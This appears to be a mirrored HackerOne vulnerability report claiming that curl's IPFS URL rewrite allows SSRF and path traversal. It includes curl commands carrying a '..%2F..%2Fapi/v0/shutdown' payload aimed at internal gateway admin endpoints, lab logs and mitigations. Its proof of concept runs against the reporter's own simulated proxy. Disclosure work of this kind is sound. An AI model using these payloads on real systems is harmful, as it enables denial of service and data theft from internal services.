HACKERONE

curl: Unsanitized IPFS CID Allows SSRF Against Configured Gateway_H1:3366484

Description

## Summary:

`ipfs_url_rewrite()` (in `src/tool_ipfs.c`) decodes the host component (CID) of `ipfs://` / `ipns://` URLs using `CURLU_URLDECODE` and then concatenates that decoded value directly into the gateway path (`aprintf("%s%s/%s%s", ...)`) without normalization or validation. A crafted host value (for example `..%2F..%2Fapi/v0/shutdown`) decodes to `../../api/v0/shutdown`. When appended and the gateway or reverse-proxy later normalizes dot-segments, the request escapes `/ipfs/...` and hits privileged internal endpoints such as `/api/v0/shutdown`, `/api/v0/config` or `/api/v0/id`.

This is a **Server-Side Request Forgery (SSRF) + Path Traversal** in the IPFS URL rewrite logic that allows an attacker, by delivering a single malicious `ipfs://` URL to an application that passes that URL to libcurl/curl, to force the victim to call internal gateway admin endpoints.

*Statement about AI:* I used AI assistance to help structure and draft the report, but the vulnerability, PoC, and all testing were verified manually in a controlled lab environment and the evidence below was generated by manual execution.

---


## Steps To Reproduce:

> Files to use (attach these in your submission):
> `admin_api.py` — simulated internal gateway/admin (listens 127.0.0.1:5001)
> `vulnerable_proxy.py` — victim service that performs the vulnerable rewrite and fetch (listens 0.0.0.0:9000)

1. Start the simulated internal admin/gateway:

```bash
python3 admin_api.py
```

The script listens on `127.0.0.1:5001` and prints every incoming request path.

2. Start the vulnerable service (victim) that proxies/re-writes IPFS URLs:

```bash
export IPFS_GATEWAY="http://127.0.0.1:5001/"
python3 vulnerable_proxy.py
```

The script listens on `0.0.0.0:9000`. It simulates the vulnerable sequence:

* decode host (CID) portion of `ipfs://` (percent-decoded),
* concatenate `protocol_prefix + "/" + decoded_cid + inputpath` into the gateway path (no normalization),
* perform HTTP GET against the gateway URL produced.

3. From an attacker-controlled host (or the same machine hitting the victim HTTP API), send the malicious IPFS URL:

```bash
curl "http://127.0.0.1:9000/?target=ipfs://..%2F..%2Fapi/v0/shutdown"
curl "http://127.0.0.1:9000/?target=ipfs://..%2F..%2Fapi/v0/id"
```

The victim will rewrite the URL and contact the gateway using a path that normalizes to an internal admin endpoint.

4. Observe:

* The internal admin (`admin_api.py`) logs a request to `/api/v0/shutdown` or `/api/v0/id`.
* The attacker receives the response returned by that internal endpoint via the victim service (exfiltrated content).

---

## Supporting Material/References:


**Admin API (Terminal / PowerShell output):**
{F4846796}
```
PS C:\User> python .\admin_api.py
Admin API listening on 127.0.0.1:5001
[admin_api] 127.0.0.1:62081 -> /api/v0/shutdown
127.0.0.1 - - [01/Oct/2025 13:24:03] "GET /api/v0/shutdown HTTP/1.1" 200 -
[admin_api] 127.0.0.1:62083 -> /api/v0/shutdown
127.0.0.1 - - [01/Oct/2025 13:24:14] "GET /api/v0/shutdown HTTP/1.1" 200 -
[admin_api] 127.0.0.1:62086 -> /api/v0/id
127.0.0.1 - - [01/Oct/2025 13:24:19] "GET /api/v0/id HTTP/1.1" 200 -
```

**Vulnerable proxy (Terminal / PowerShell output):**
{F4846794}
```
PS C:\User> python vulnerable_proxy.py
Vulnerable proxy listening on 0.0.0.0:9000
[vulnerable_proxy] Rewritten gateway URL: http://127.0.0.1:5001/api/v0/shutdown
127.0.0.1 - - [01/Oct/2025 13:24:03] "GET /?target=ipfs://..%2F..%2Fapi/v0/shutdown HTTP/1.1" 200 -
[vulnerable_proxy] Rewritten gateway URL: http://127.0.0.1:5001/api/v0/shutdown
127.0.0.1 - - [01/Oct/2025 13:24:14] "GET /?target=ipfs://..%2F..%2Fapi/v0/shutdown HTTP/1.1" 200 -
[vulnerable_proxy] Rewritten gateway URL: http://127.0.0.1:5001/api/v0/id
127.0.0.1 - - [01/Oct/2025 13:24:19] "GET /?target=ipfs://..%2F..%2Fapi/v0/id HTTP/1.1" 200 -
```

**Attacker response (curl output):**

```
StatusCode : 200
StatusDescription : OK
Content : internal-admin-response

RawContent : HTTP/1.0 200 OK
Content-Type: text/plain
Date: Wed, 01 Oct 2025 18:24:03 GMT
Server: BaseHTTP/0.6 Python/3.10.8

internal-admin-response
```

**Code references to include (attach exact lines and commit SHA when you file):**

* `curl_url_get(uh, CURLUPART_HOST, &cid, CURLU_URLDECODE);` — host decoded without normalization.
* `pathbuffer = aprintf("%s%s/%s%s", gwpath, protocol, cid, inputpath);` — unvalidated concatenation.
* `curl_url_set(uh, CURLUPART_PATH, pathbuffer, CURLU_URLENCODE);` — encoding that preserves `/`.

Attach the exact file `src/tool_ipfs.c` fragment plus the repo commit SHA you used for verification.
https://github.com/curl/curl/blob/master/src/tool_ipfs.c#L134

---
**Justification / Arguments:**
The function decodes the host (CID) and directly concatenates it into the gateway path without validation or normalization, so percent-encoded separators like `%2F` and dot-segments (`..`) can become real path delimiters; after proxy/gateway normalization this escapes the `/ipfs/` sandbox and reaches internal admin endpoints. The provided PoC is minimal and reproducible and demonstrates an attacker→victim→internal-gateway SSRF that can exfiltrate data or trigger administrative actions, therefore this is a code-level bug requiring a fix.



---
## Suggested mitigations

1. **Do not decode and insert the host (CID) directly into the path.** Treat the host portion as an identifier, not as a path segment. Reject any host that contains path separators or dot-segments after decoding.
2. **Validate the CID strictly**: accept only syntactically valid CIDs (base32/base58 formats) using a CID parser/validator. Reject any value that contains `/`, `%2F`, `..`, or control characters.
3. **Escape/encode path segments** explicitly so that `/` characters in user-controlled inputs do not become path separators (re-encode `%2F` as `%252F` if the intent is to preserve a literal `%2F`).
4. **Add server-side ACLs / authentication** for gateway admin endpoints so that even if a local request reaches them, administrative operations require authorization.
5. **Unit tests / fuzz tests**: add tests that assert that inputs like `..%2F..%2Fapi/v0/shutdown` do not result in internal admin paths being requested.

## Impact

* **Type:** SSRF + Path Traversal (CWE-918 + CWE-22)
* **Impact summary:** A remote attacker who can supply an `ipfs://` or `ipns://` URL to an application that forwards or fetches that URL via curl/libcurl can force the application to call arbitrary internal gateway endpoints. This enables:

* Administrative actions (e.g. `/api/v0/shutdown`) — potential local denial-of-service (shutdown of node).
* Reading sensitive internal endpoints (e.g. `/api/v0/id`) — information disclosure.
* Potential modification of configuration or other privileged operations where gateway endpoints accept writes.
* **Exploitability:** Easy to exploit under the described conditions (an app that accepts external URLs and uses the vulnerable rewrite). The PoC demonstrates remote exploitation via a single malicious URL.
Visit Original Source

Basic Information

ID H1:3366484
Published Oct 1, 2025 at 19:13
Modified Oct 3, 2025 at 12:18

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.